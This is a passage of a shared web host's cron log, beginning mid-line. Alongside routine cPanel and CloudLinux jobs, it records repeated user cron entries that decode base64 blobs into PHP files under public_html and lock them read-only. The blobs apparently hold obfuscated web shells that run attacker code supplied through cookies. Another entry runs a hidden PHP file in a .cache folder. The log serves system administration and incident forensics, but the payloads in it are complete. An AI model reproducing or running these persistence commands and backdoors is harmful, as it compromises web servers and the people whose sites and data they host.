2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:28:02 medusa CROND[8843]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:28:02 medusa CROND[8845]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 15:28:02 medusa CROND[8858]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:29:01 medusa CROND[30222]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:29:01 medusa CROND[30396]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 15:29:01 medusa CROND[30397]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 15:29:01 medusa CROND[30400]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:29:01 medusa CROND[30402]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:29:01 medusa CROND[30404]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:29:01 medusa CROND[30407]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:29:01 medusa CROND[30409]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:29:01 medusa CROND[30410]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:29:01 medusa CROND[30413]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:29:01 medusa CROND[30414]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:29:01 medusa CROND[30416]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:29:01 medusa CROND[30421]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:30:02 medusa CROND[18911]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 15:30:02 medusa CROND[18912]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 15:30:02 medusa CROND[18914]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 15:30:02 medusa CROND[18915]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:30:02 medusa CROND[18913]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:30:02 medusa CROND[18916]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 15:30:02 medusa CROND[18918]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 15:30:02 medusa CROND[18919]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:30:02 medusa CROND[18920]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 15:30:02 medusa CROND[18926]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 15:30:02 medusa CROND[18934]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:30:02 medusa CROND[18929]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 15:30:02 medusa CROND[18946]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:30:02 medusa CROND[18948]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 15:30:02 medusa CROND[18949]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:30:02 medusa CROND[18954]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 15:30:02 medusa CROND[18956]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:30:02 medusa CROND[18944]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 15:30:02 medusa CROND[18969]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
